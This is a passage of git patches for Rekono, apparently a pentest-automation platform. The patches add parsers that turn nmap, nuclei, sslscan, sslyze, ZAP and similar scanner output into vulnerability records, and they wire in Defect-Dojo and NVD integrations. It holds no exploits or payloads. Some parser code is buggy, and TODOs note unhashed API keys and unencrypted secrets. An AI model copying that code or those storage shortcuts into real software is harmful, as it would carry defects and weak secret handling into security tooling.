fields.get("Anonymous access") + self.create_finding( + Path, + port=smb_technology.port if smb_technology else None, + path=path, + extra_info=( + f'{fields.get("Comment") or ""} ' + f'Type: {fields.get("Type")} ' + f"Anonymous access: {anonymous} " + f'Current access: {fields.get("Current user access")}' + ).strip(), + type=PathType.SHARE, + ) + if "READ" in anonymous or "WRITE" in anonymous: + self.create_finding( + Vulnerability, + technology=smb_technology, + name="Anonymous SMB", + description=f"Anonymous access is allowed to the SMB share {path}", + severity=Severity.CRITICAL + if "WRITE" in anonymous + else Severity.HIGH, + # CWE-287: Improper Authentication + cwe="CWE-287", + ) + case "smb-protocols": + if smb_technology: + smb_technology.description = f'Protocols: {", ".join([p.split("[dangerous", 1)[0].strip() for p in script.get("elements", {}).get("dialects", {}).get(None)])}' + smb_technology.save(update_fields=["description"]) + case _: + self._parse_nse_vulners(script, first_technology) + + def _parse_nse_vulners(self, script: Any, technology: Technology) -> None: + cves = set() + for cve in re.findall( + Regex.CVE, script.get("output", "") + ): + if cve not in cves: + cves.add(cve) + self.create_finding(Vulnerability, technology=technology, name=cve, cve=cve) diff --git a/src/backend/tools/parsers/nuclei.py b/src/backend/tools/parsers/nuclei.py new file mode 100644 index 000000000..82c1e40b1 --- /dev/null +++ b/src/backend/tools/parsers/nuclei.py @@ -0,0 +1,50 @@ +import json +from typing import Dict, cast + +from findings.enums import Severity +from findings.models import Credential, Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Nuclei(BaseParser): + def _parse_report(self) -> None: + with open(self.report, "r", encoding="utf-8") as report: + data = [json.loads(line) for line in report if line] + for item in data: + name = item.get("info", {}).get("name") + if item.get("extracted-results", []): + name = f"{name}: {item.get('extracted-results', [])[0]}" + elif item.get("matcher-name"): + name = f'{name}: {item.get("matcher-name")}' + description = item.get("info", {}).get("description") + reference = item.get("info", {}).get("reference", []) + tags = item.get("info", {}).get("tags", []) or [] + if "tech" in tags: + self.create_finding( + Technology, + name=name, + description=description.strip() if description else None, + reference=reference[0] if reference else None, + ) + elif "default-login" in tags and item.get("meta"): + self.create_finding( + Credential, + username=item.get("meta", {}).get("username"), + secret=item.get("meta", {}).get("password"), + context=name, + ) + else: + severity = item.get("info", {}).get("severity") + cve = item.get("info", {}).get("classification", {}).get("cve-id") + cwe = item.get("info", {}).get("classification", {}).get("cwe-id", []) + self.create_finding( + Vulnerability, + name=name.strip(), + description=description.strip() if description else None, + severity=cast(Dict[str, str], Severity)[severity.upper()] + if severity + else Severity.INFO, + cve=cve.upper() if cve else None, + cwe=cwe[0].upper() if cwe else None, + reference=reference[0] if reference else None, + ) diff --git a/src/backend/tools/parsers/searchsploit.py b/src/backend/tools/parsers/searchsploit.py new file mode 100644 index 000000000..20b634dd4 --- /dev/null +++ b/src/backend/tools/parsers/searchsploit.py @@ -0,0 +1,17 @@ +from findings.models import Exploit +from tools.parsers.base import BaseParser + + +class Searchsploit(BaseParser): + def _parse_report(self) -> None: + data = self._load_report_as_json() + for exploit in data.get("RESULTS_EXPLOIT") or []: + edb_id = exploit.get("EDB-ID") + self.create_finding( + Exploit, + title=exploit.get("Title"), + edb_id=int(edb_id) if edb_id else None, + reference=f"https://www.exploit-db.com/exploits/{edb_id}" + if edb_id + else None, + ) diff --git a/src/backend/tools/parsers/smbmap.py b/src/backend/tools/parsers/smbmap.py new file mode 100644 index 000000000..629198970 --- /dev/null +++ b/src/backend/tools/parsers/smbmap.py @@ -0,0 +1,17 @@ +from findings.enums import PathType +from findings.models import Path +from tools.parsers.base import BaseParser + + +class Smbmap(BaseParser): + def _parse_standard_output(self) -> None: + for line in self.output.split("\n"): + data = line.strip() + if data and ("READ" in data or "WRITE" in data or "NO ACCESS" in data): + share = [i.strip() for i in data.split(" ") if i.strip()] + self.create_finding( + Path, + path=share[0], + extra=f"[{share[1]}] {share[2]}" if len(share) >= 3 else share[1], + type=PathType.SHARE, + ) diff --git a/src/backend/tools/parsers/spring4shell_scan.py b/src/backend/tools/parsers/spring4shell_scan.py new file mode 100644 index 000000000..31332fcfa --- /dev/null +++ b/src/backend/tools/parsers/spring4shell_scan.py @@ -0,0 +1,20 @@ +from findings.models import Vulnerability +from tools.parsers.base import BaseParser + + +class Spring4shellscan(BaseParser): + def _parse_standard_output(self) -> None: + for search, name, cve in [ + ( + "[!!!] Target Affected (CVE-2022-22963)", + "Spring Cloud RCE", + "CVE-2022-22963", + ), + ( + "[!!!] Target Affected (CVE-2022-22965)", + "Spring4Shell RCE", + "CVE-2022-22965", + ), + ]: + if search in self.output: + self.create_finding(Vulnerability, name=name, cve=cve) diff --git a/src/backend/tools/parsers/ssh_audit.py b/src/backend/tools/parsers/ssh_audit.py new file mode 100644 index 000000000..2c8e70213 --- /dev/null +++ b/src/backend/tools/parsers/ssh_audit.py @@ -0,0 +1,55 @@ +from findings.enums import Severity +from findings.models import Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Sshaudit(BaseParser): + cryptography_types = { + "kex": "key exchange", + "key": "host key", + "enc": "encryption", + "mac": "MAC", + } + + def _parse_standard_output(self) -> None: + algorithms = {k: [] for k in self.cryptography_types.keys()} + technology = None + vulnerabilities_to_create = [] + for line in self.output.split("\n"): # Get output by lines + data = line.strip() + if "(gen) software: " in data: + aux = data.split("(gen) software: ", 1)[1].split(" ", 1) + technology = self.create_finding( + Technology, name=aux[0], version=aux[1].split(" [", 1)[0] + ) + elif "(cve) " in data: + aux = data.split("(cve) ", 1)[1].split(" ", 1) + vulnerabilities_to_create.append( + (aux[1].split(") ", 1)[1].split(" [", 1)[0].capitalize(), aux[0]) + ) + else: + for cryptography_type in algorithms.keys(): + if f"({cryptography_type}) " in data and "[fail]" in data: + algorithm = data.split(f"({cryptography_type}) ", 1)[1].split( + " ", 1 + )[0] + if algorithm not in algorithms[cryptography_type]: + algorithms[cryptography_type]["algorithms"].append( + algorithm + ) + break + for name, cve in vulnerabilities_to_create: + self.create_finding( + Vulnerability, technology=technology, name=name, cve=cve + ) + for key, vulnerable_algorithms in algorithms.items(): + if len(vulnerable_algorithms) > 0: + self.create_finding( + Vulnerability, + technology=technology, + name=f"Insecure {self.cryptography_types[key]} algorithms", + description=", ".join(vulnerable_algorithms), + severity=Severity.LOW, + # CWE-326: Inadequate Encryption Strength + cwe="CWE-326", + ) diff --git a/src/backend/tools/parsers/sslscan.py b/src/backend/tools/parsers/sslscan.py new file mode 100644 index 000000000..7dc63c406 --- /dev/null +++ b/src/backend/tools/parsers/sslscan.py @@ -0,0 +1,95 @@ +from typing import Any, List + +from findings.enums import Severity +from findings.framework.models import Finding +from findings.models import Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Sslscan(BaseParser): + technologies: List[Technology] = [] + + def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: + if ( + finding_type == Vulnerability + and not fields.get("technology") + and fields.get("sslversion") + ): + search = [ + t + for t in self.technologies + if f"{t.name}v{t.version}" == fields.get("sslversion") + ] + fields["technology"] = search[0] if search else None + fields.pop("sslversion") + return super().create_finding(finding_type, **fields) + + def _parse_report(self) -> None: + try: + root = self._load_report_as_xml() + except: + return + for test in root.findall("ssltest"): + for item in test: + if item.tag == "protocol" and item.attrib["enabled"] == "1": + technology = self.create_finding( + Technology, + name=item.attrib["type"].upper(), + version=item.attrib["version"], + ) + self.technologies.append(technology) + if technology.name != "TLS" or technology.version not in [ + "1.2", + "1.3", + ]: + self.create_finding( + Vulnerability, + technology=technology, + name=f"Insecure {technology.name} version supported", + description=f"{technology.name} {technology.version} is supported", + severity=Severity.MEDIUM + if technology.name == "TLS" + else Severity.HIGH, + # CWE-326: Inadequate Encryption Strength + cwe="CWE-326", + ) + else: + for check, fields in [ + ( + lambda: item.tag == "renegotiation" + and item.attrib["supported"] == "1" + and item.attrib["secure"] != "1", + { + "name": "Insecure TLS renegotiation supported", + "description": "Insecure TLS renegotiation supported", + "severity": Severity.MEDIUM, + # CWE CATEGORY: Permissions, Privileges, and Access Controls + "cwe": "CWE-264", + }, + ), + ( + lambda: item.tag == "heartbleed" + and item.attrib["vulnerable"] == "1", + { + "name": f'Heartbleed in {item.attrib["sslversion"]}', + "cve": "CVE-2014-0160", + }, + ), + ( + lambda: item.tag == "cipher" + and item.attrib["strength"] + not in [ + "acceptable", + "strong", + ], + { + "name": "Insecure cipher suite supported", + "description": f"{item.attrib['sslversion']} {item.attrib['cipher']} status={item.attrib['status']} strength={item.attrib['strength']}", + "severity": Severity.LOW, + # CWE-326: Inadequate Encryption Strength + "cwe": "CWE-326", + }, + ), + ]: + if check(): + self.create_finding(Vulnerability, **fields) diff --git a/src/backend/tools/parsers/sslyze.py b/src/backend/tools/parsers/sslyze.py new file mode 100644 index 000000000..ab30669e6 --- /dev/null +++ b/src/backend/tools/parsers/sslyze.py @@ -0,0 +1,129 @@ +from typing import Any, Optional + +from findings.enums import Severity +from findings.models import Finding, Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Sslyze(BaseParser): + protocol_versions = { + "ssl": ["2.0", "3.0"], + "tls": ["1.0", "1.1", "1.2", "1.3"], + } + + generic_tech: Optional[Technology] = None + + def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: + if finding_type == Vulnerability and not fields.get("technology"): + if not self.generic_tech: + self.generic_tech = super().create_finding( + Technology, name="Generic TLS" + ) + fields["technology"] = self.generic_tech + return super().create_finding(finding_type, **fields) + + def _parse_report(self) -> None: + data = self._load_report_as_json() + for item in data.get("server_scan_results", []) or []: + result = item.get("scan_commands_results", item["scan_result"]) + if not result: + continue + for check, fields in [ + ( + lambda: result["heartbleed"]["result"][ + "is_vulnerable_to_heartbleed" + ], + {"name": "Heartbleed", "cve": "CVE-2014-0160"}, + ), + ( + lambda: ["openssl_ccs_injection"]["result"][ + "is_vulnerable_to_ccs_injection" + ], + {"name": "OpenSSL CSS Injection", "cve": "CVE-2014-0224"}, + ), + ( + lambda: result["robot"]["result"]["robot_result"] + in [ + "VULNERABLE_STRONG_ORACLE", + "VULNERABLE_WEAK_ORACLE", + ], + { + "name": "ROBOT", + "description": "Return Of the Bleichenbacher Oracle Threat", + "severity": Severity.MEDIUM, + # CWE-203: Observable Discrepancy + "cwe": "CWE-203", + "reference": "https://www.robotattack.org/", + }, + ), + ( + lambda: not result["session_renegotiation"]["result"][ + "supports_secure_renegotiation" + ] + or result["session_renegotiation"]["result"][ + "is_vulnerable_to_client_renegotiation_dos" + ], + { + "name": "Insecure TLS renegotiation supported", + "description": "Insecure TLS renegotiation supported", + "severity": Severity.MEDIUM, + # CWE CATEGORY: Permissions, Privileges, and Access Controls + "cwe": "CWE-264", + }, + ), + ( + lambda: result["tls_compression"]["result"]["supports_compression"], + {"name": "CRIME", "cve": "CVE-2012-4929"}, + ), + ]: + if check(): + self.create_finding(Vulnerability, **fields) + for protocol, versions in self.protocol_versions.items(): + for version in versions: + cipher_suites = data[ + f'{protocol.lower()}_{version.replace(".", "_")}_cipher_suites' + ]["result"]["accepted_cipher_suites"] + if cipher_suites: + technology = self.create_finding( + Technology, + name=protocol, + version=version, + related_to=self.generic_tech, + ) + severity = Severity.MEDIUM + if protocol.lower() == "tls": + severity = Severity.HIGH + for cs in cipher_suites: + if "_RC4_" in cs["cipher_suite"]["name"]: + self.create_finding( + Vulnerability, + technology=technology, + name="Insecure cipher suite supported", + description=f'TLS {technology.version} {cs["cipher_suite"]["name"]}', + severity=Severity.LOW, + # CWE-326: Inadequate Encryption Strength + cwe="CWE-326", + ) + if protocol.lower() == "ssl" or version not in ["1.2", "1.3"]: + self.create_finding( + Vulnerability, + technology=technology, + name=f"Insecure {protocol.upper()} version supported", + description=f"{protocol.upper()} {version} is supported", + severity=severity, + # CWE-326: Inadequate Encryption Strength + cwe="CWE-326", + ) + for deploy in ( + result["certificate_info"]["result"]["certificate_deployments"] or [] + ): + if not deploy["leaf_certificate_subject_matches_hostname"]: + self.create_finding( + Vulnerability, + technology=self.generic_tech, + name="Certificate subject error", + description="Certificate subject doesn't match hostname", + severity=Severity.INFO, + # CWE-295: Improper Certificate Validation + cwe="CWE-295", + ) diff --git a/src/backend/tools/parsers/theharvester.py b/src/backend/tools/parsers/theharvester.py new file mode 100644 index 000000000..cbde064d8 --- /dev/null +++ b/src/backend/tools/parsers/theharvester.py @@ -0,0 +1,28 @@ +from findings.enums import OSINTDataType +from findings.models import OSINT +from tools.parsers.base import BaseParser + + +class Theharvester(BaseParser): + # Mapping between theHarvester types and OSINT data types + data_types = { + "ips": OSINTDataType.IP, + "hosts": OSINTDataType.DOMAIN, + "vhosts": OSINTDataType.VHOST, + "urls": OSINTDataType.URL, + "trello_urls": OSINTDataType.URL, + "interesting_urls": OSINTDataType.URL, + "emails": OSINTDataType.EMAIL, + "linkedin_links": OSINTDataType.LINK, + "asns": OSINTDataType.ASN, + "twitter_people": OSINTDataType.USER, + "linkedin_people": OSINTDataType.USER, + } + + def _parse_report(self) -> None: + data = self._load_report_as_json() + for the_harvester_type, items in data.items(): + for item in items: + self.create_finding( + OSINT, data=item, data_type=self.data_types[the_harvester_type] + ) diff --git a/src/backend/tools/parsers/zap.py b/src/backend/tools/parsers/zap.py new file mode 100644 index 000000000..4605480bb --- /dev/null +++ b/src/backend/tools/parsers/zap.py @@ -0,0 +1,61 @@ +from html import unescape + +from findings.enums import PathType, Severity +from findings.models import Path, Vulnerability +from tools.parsers.base import BaseParser + + +class Zap(BaseParser): + # Mapping between OWASP ZAP severity values and Rekono severity values + severity_mapping = { + 0: Severity.INFO, + 1: Severity.LOW, + 2: Severity.MEDIUM, + 3: Severity.HIGH, + } + + def _parse_report(self) -> None: + endpoints = set(["/"]) + root = self._load_report_as_xml() + for site in root: + url_base = site.attrib["name"] + for alert in site.findall("alerts/alertitem"): + description = alert.findtext("desc") or "" + severity = alert.findtext("riskcode") + cwe = alert.findtext("cweid") + reference = alert.findtext("reference") + instances = alert.findall("instances/instance") + if instances: + description += "\n\nLocation:\n" + for instance in instances or []: + url = instance.findtext("uri") + name = alert.findtext("alert") + description += f'[{instance.findtext("method")}] {url}\n' + if url: + endpoint = url.replace(url_base, "") + if endpoint and endpoint not in endpoints: + endpoints.add(endpoint) + self.create_finding( + Path, path=endpoint, type=PathType.ENDPOINT + ) + if name: + self.create_finding( + Vulnerability, + name=self._clean(name), + description=self._clean(description) + if description + else self._clean(name), + severity=self.severity_mapping[int(severity)] + if severity + else Severity.MEDIUM, + cwe=f"CWE-{cwe}" if cwe else None, + reference=self._clean(reference) if reference else None, + ) + + def _clean(self, value: str) -> str: + return ( + unescape(value) + .split("

", 1)[0] + .replace("

", "") + .replace("

", "") + ) diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index 26267d2c7..70b3b06b5 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -7,6 +7,7 @@ from rekono.settings import AUTH_USER_MODEL from security.utils.file_handler import FileHandler from security.utils.input_validator import Regex, Validator +from targets.models import Target from wordlists.enums import WordlistType # Create your models here. @@ -48,7 +49,9 @@ def filter(self, input: Any) -> bool: return super().filter(input) and check return check - def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + def parse( + self, target: Target = None, accumulated: Dict[str, Any] = {} + ) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: From 9ae444b0dcd67a107e3c5246cf7d981715622d2d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 8 Oct 2023 10:05:53 +0200 Subject: [PATCH 018/141] Fix drf-spectacular warnings related to the Enums naming --- src/backend/rekono/settings.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index f0384d3aa..e6096393a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -244,6 +244,13 @@ "PREPROCESSING_HOOKS": ["drf_spectacular.hooks.preprocess_exclude_path_format"], "ENUM_NAME_OVERRIDES": {}, "SCHEMA_PATH_PREFIX_INSERT": CONFIG.root_path, + "ENUM_NAME_OVERRIDES": { + "AuthenticationType": "authentications.enums.AuthenticationType", + "PathType": "findings.enums.PathType", + "TargetType": "targets.enums.TargetType", + "WordlistType": "wordlists.enums.WordlistType", + "TimeUnit": "tasks.enums.TimeUnit", + }, } From 6bf5a6f781896db1c681833852341e81973ef896 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 16 Oct 2023 19:34:33 +0200 Subject: [PATCH 019/141] Add new integrations schema, Defect-Dojo and NVD NIST integration --- src/backend/api_tokens/apps.py | 4 +- src/backend/api_tokens/serializers.py | 1 + src/backend/authentications/apps.py | 4 +- src/backend/authentications/filters.py | 2 +- src/backend/authentications/models.py | 35 +-- src/backend/authentications/views.py | 2 +- src/backend/executions/apps.py | 4 +- src/backend/executions/models.py | 1 + src/backend/findings/apps.py | 4 +- src/backend/findings/framework/models.py | 6 +- src/backend/findings/models.py | 40 ++- src/backend/framework/apps.py | 15 ++ src/backend/framework/models.py | 17 ++ src/backend/framework/platforms.py | 76 ++++++ src/backend/input_types/apps.py | 22 +- src/backend/input_types/models.py | 4 +- src/backend/integrations/__init__.py | 0 .../integrations/defect_dojo/__init__.py | 0 src/backend/integrations/defect_dojo/admin.py | 12 + src/backend/integrations/defect_dojo/apps.py | 20 ++ .../defect_dojo/fixtures/1_default.json | 19 ++ .../integrations/defect_dojo/models.py | 87 +++++++ .../integrations/defect_dojo/platforms.py | 235 ++++++++++++++++++ .../integrations/defect_dojo/serializers.py | 178 +++++++++++++ src/backend/integrations/defect_dojo/urls.py | 29 +++ src/backend/integrations/defect_dojo/views.py | 44 ++++ src/backend/integrations/nvd_nist.py | 61 +++++ src/backend/parameters/apps.py | 4 +- src/backend/processes/apps.py | 23 +- src/backend/projects/apps.py | 4 +- src/backend/projects/filters.py | 5 + src/backend/projects/serializers.py | 4 + src/backend/rekono/settings.py | 1 + src/backend/rekono/urls.py | 1 + src/backend/security/apps.py | 4 +- src/backend/security/authentication/api.py | 4 +- .../security/authentication/serializers.py | 1 - src/backend/security/authorization/roles.py | 20 +- src/backend/settings/apps.py | 21 +- src/backend/settings/views.py | 1 - src/backend/target_ports/apps.py | 4 +- src/backend/target_ports/models.py | 42 ++-- src/backend/target_ports/serializers.py | 4 - src/backend/targets/apps.py | 4 +- src/backend/targets/filters.py | 4 + src/backend/targets/serializers.py | 9 +- src/backend/tasks/apps.py | 4 +- src/backend/tools/apps.py | 23 +- src/backend/tools/fixtures/1_tools.json | 60 +++-- src/backend/tools/models.py | 21 +- src/backend/users/apps.py | 4 +- src/backend/users/models.py | 2 +- src/backend/wordlists/apps.py | 20 +- 53 files changed, 996 insertions(+), 220 deletions(-) create mode 100644 src/backend/framework/apps.py create mode 100644 src/backend/framework/platforms.py create mode 100644 src/backend/integrations/__init__.py create mode 100644 src/backend/integrations/defect_dojo/__init__.py create mode 100644 src/backend/integrations/defect_dojo/admin.py create mode 100644 src/backend/integrations/defect_dojo/apps.py create mode 100644 src/backend/integrations/defect_dojo/fixtures/1_default.json create mode 100644 src/backend/integrations/defect_dojo/models.py create mode 100644 src/backend/integrations/defect_dojo/platforms.py create mode 100644 src/backend/integrations/defect_dojo/serializers.py create mode 100644 src/backend/integrations/defect_dojo/urls.py create mode 100644 src/backend/integrations/defect_dojo/views.py create mode 100644 src/backend/integrations/nvd_nist.py diff --git a/src/backend/api_tokens/apps.py b/src/backend/api_tokens/apps.py index 38b076c36..c5459ef5c 100644 --- a/src/backend/api_tokens/apps.py +++ b/src/backend/api_tokens/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class ApiTokensConfig(AppConfig): +class ApiTokensConfig(BaseApp): name = "api_tokens" diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py index 334824c4a..97e2e0806 100644 --- a/src/backend/api_tokens/serializers.py +++ b/src/backend/api_tokens/serializers.py @@ -30,6 +30,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: def save(self, **kwargs: Any) -> ApiToken: plain_key = ApiToken.generate_key() + # TODO: Hash and salt key self.validated_data["key"] = hash(plain_key) api_token = super().save(**kwargs) api_token.key = plain_key diff --git a/src/backend/authentications/apps.py b/src/backend/authentications/apps.py index 6db30d6de..8379c5362 100644 --- a/src/backend/authentications/apps.py +++ b/src/backend/authentications/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class AuthenticationConfig(AppConfig): +class AuthenticationConfig(BaseApp): name = "authentications" diff --git a/src/backend/authentications/filters.py b/src/backend/authentications/filters.py index 4b839ed76..50bdb4d3d 100644 --- a/src/backend/authentications/filters.py +++ b/src/backend/authentications/filters.py @@ -8,7 +8,7 @@ class AuthenticationFilter(FilterSet): class Meta: model = Authentication fields = { - "target_port": ["exact"], + "target_port": ["exact", "isnull"], "target_port__target": ["exact"], "target_port__target__project": ["exact"], "target_port__target__project__name": ["exact", "icontains"], diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 726c88999..ae67e252a 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -6,7 +6,6 @@ from framework.enums import InputKeyword from framework.models import BaseInput from security.utils.input_validator import Regex, Validator -from target_ports.models import TargetPort from targets.models import Target # Create your models here. @@ -15,16 +14,18 @@ class Authentication(BaseInput): """Authentication model.""" - target_port = models.OneToOneField( - TargetPort, related_name="authentication", on_delete=models.CASCADE - ) name = models.TextField( max_length=100, validators=[Validator(Regex.NAME.value, code="name")], + null=True, + blank=True, ) + # TODO: encrypt and decrypt secret for more security secret = models.TextField( max_length=500, validators=[Validator(Regex.SECRET.value, code="secret")], + null=True, + blank=True, ) type = models.TextField(max_length=8, choices=AuthenticationType.choices) @@ -41,17 +42,14 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target_port.parse(target, accumulated) - output.update( - { - InputKeyword.COOKIE_NAME.name.lower(): self.name - if self.type == AuthenticationType.COOKIE - else None, - InputKeyword.SECRET.name.lower(): self.secret, - InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, - InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), - } - ) + output = { + InputKeyword.COOKIE_NAME.name.lower(): self.name + if self.type == AuthenticationType.COOKIE + else None, + InputKeyword.SECRET.name.lower(): self.secret, + InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, + InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), + } if self.type == AuthenticationType.BASIC: output.update( { @@ -76,7 +74,12 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - return f"{self.target_port.__str__()} - {self.name}" + value = "" + if self.target_port: + value = f"{self.target_port.__str__()} -" + elif self.integration: + value = f"{self.integration.__str__()} -" + return f"{value}{self.name}" @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index 43114ae68..2dd6a9dd3 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -13,7 +13,7 @@ class AuthenticationViewSet(BaseViewSet): serializer_class = AuthenticationSerializer filterset_class = AuthenticationFilter search_fields = ["name"] - ordering_fields = ["id", "target_port", "name", "type"] + ordering_fields = ["id", "integration", "target_port", "name", "type"] http_method_names = [ "get", "post", diff --git a/src/backend/executions/apps.py b/src/backend/executions/apps.py index d61110031..1b8a145e4 100644 --- a/src/backend/executions/apps.py +++ b/src/backend/executions/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class ExecutionsConfig(AppConfig): +class ExecutionsConfig(BaseApp): name = "executions" diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py index dec5c17f7..667789c11 100644 --- a/src/backend/executions/models.py +++ b/src/backend/executions/models.py @@ -28,6 +28,7 @@ class Execution(models.Model): enqueued_at = models.DateTimeField(blank=True, null=True) start = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) + defect_dojo_test_id = models.IntegerField(blank=True, null=True) def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/findings/apps.py b/src/backend/findings/apps.py index af6190ab1..6f1b98aef 100644 --- a/src/backend/findings/apps.py +++ b/src/backend/findings/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class FindingsConfig(AppConfig): +class FindingsConfig(BaseApp): name = "findings" diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 817b7b404..3ec5b68ad 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -1,4 +1,4 @@ -from typing import Any, List +from typing import Any, Dict, List from django.core.exceptions import NON_FIELD_ERRORS from django.db import connection, models @@ -21,6 +21,7 @@ class Finding(BaseInput): triage_comment = models.TextField( max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] ) + defect_dojo_id = models.IntegerField(blank=True, null=True) class Meta: abstract = True @@ -75,3 +76,6 @@ def get_project(self) -> Any: @classmethod def get_project_field(cls) -> str: return "executions__task__target__project" + + def defect_dojo(self) -> Dict[str, Any]: + pass diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index cf3200224..a2971b015 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -11,6 +11,7 @@ ) from findings.framework.models import Finding from framework.enums import InputKeyword +from integrations.defect_dojo.models import DefectDojoSettings from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target @@ -47,9 +48,10 @@ def defect_dojo(self) -> Dict[str, Any]: return { "title": f"{self.data_type} found using OSINT techniques", "description": self.data, - "severity": str(Severity.MEDIUM), - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "severity": Severity.MEDIUM, + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), } def __str__(self) -> str: @@ -84,9 +86,8 @@ def defect_dojo(self) -> Dict[str, Any]: "description": " - ".join( [field for field in [self.address, self.os_type] if field] ), - "severity": str(Severity.INFO), - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "severity": Severity.INFO, + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -151,9 +152,8 @@ def defect_dojo(self) -> Dict[str, Any]: "description": f"Host: {self.host.address}\n{description}" if self.host else description, - "severity": str(Severity.INFO), - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "severity": Severity.INFO, + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -279,11 +279,10 @@ def defect_dojo(self) -> Dict[str, Any]: "description": f"{description}\nDetails: {self.description}" if self.description else description, - "severity": str(Severity.LOW), + "severity": Severity.LOW, "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor "references": self.reference, - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -341,9 +340,8 @@ def defect_dojo(self) -> Dict[str, Any]: [field for field in [self.email, self.username, self.secret] if field] ), "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor - "severity": str(Severity.HIGH), - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "severity": Severity.HIGH, + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -408,12 +406,11 @@ def defect_dojo(self) -> Dict[str, Any]: return { "title": self.name, "description": self.description, - "severity": Severity(self.severity).value, + "severity": self.severity, "cve": self.cve, "cwe": int(self.cwe.split("-", 1)[1]) if self.cwe else None, "references": self.reference, - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: @@ -474,12 +471,11 @@ def defect_dojo(self) -> Dict[str, Any]: return { "title": f"Exploit {self.edb_id} found" if self.edb_id else "Exploit found", "description": self.title, - "severity": Severity(self.vulnerability.severity).value + "severity": self.vulnerability.severity if self.vulnerability - else str(Severity.MEDIUM), + else Severity.MEDIUM, "reference": self.reference, - # TODO: Defect-Dojo - # "date": self.last_seen.strftime(DD_DATE_FORMAT), + "date": self.last_seen.strftime(DefectDojoSettings.objects.first().date_format), } def __str__(self) -> str: diff --git a/src/backend/framework/apps.py b/src/backend/framework/apps.py new file mode 100644 index 000000000..baa7a2384 --- /dev/null +++ b/src/backend/framework/apps.py @@ -0,0 +1,15 @@ +from pathlib import Path +from typing import Any + +from django.apps import AppConfig +from django.core import management +from django.core.management.commands import loaddata + + +class BaseApp(AppConfig): + def _load_fixtures(self, **kwargs: Any) -> None: + path = Path(__file__).resolve().parent / "fixtures" + management.call_command( + loaddata.Command(), + *(path / fixture for fixture in sorted(path.rglob("*.json"))) + ) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index cb947f7a2..0be8387bc 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -1,3 +1,4 @@ +import importlib from typing import Any, Dict, List, Optional import requests @@ -23,6 +24,22 @@ def get_project(self) -> Any: def get_project_field(cls) -> str: return None + def _get_related_class(self, package: str, name: str) -> Any: + try: + # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import + module = importlib.import_module( + f'{package.lower()}.{name.lower().replace(" ", "_").replace("-", "_")}' + ) + cls = getattr( + module, + name[0] + name[1:].replace(" ", "").replace("-", ""), + ) + except (AttributeError, ModuleNotFoundError): + module = importlib.import_module(f"{package}.base") + type = package.split(".")[-1][:-1] + cls = getattr(module, f"Base{type[0].upper() + type[:1].lower()}") + return cls + class BaseInput(BaseModel): """Class to be extended by all the objects that 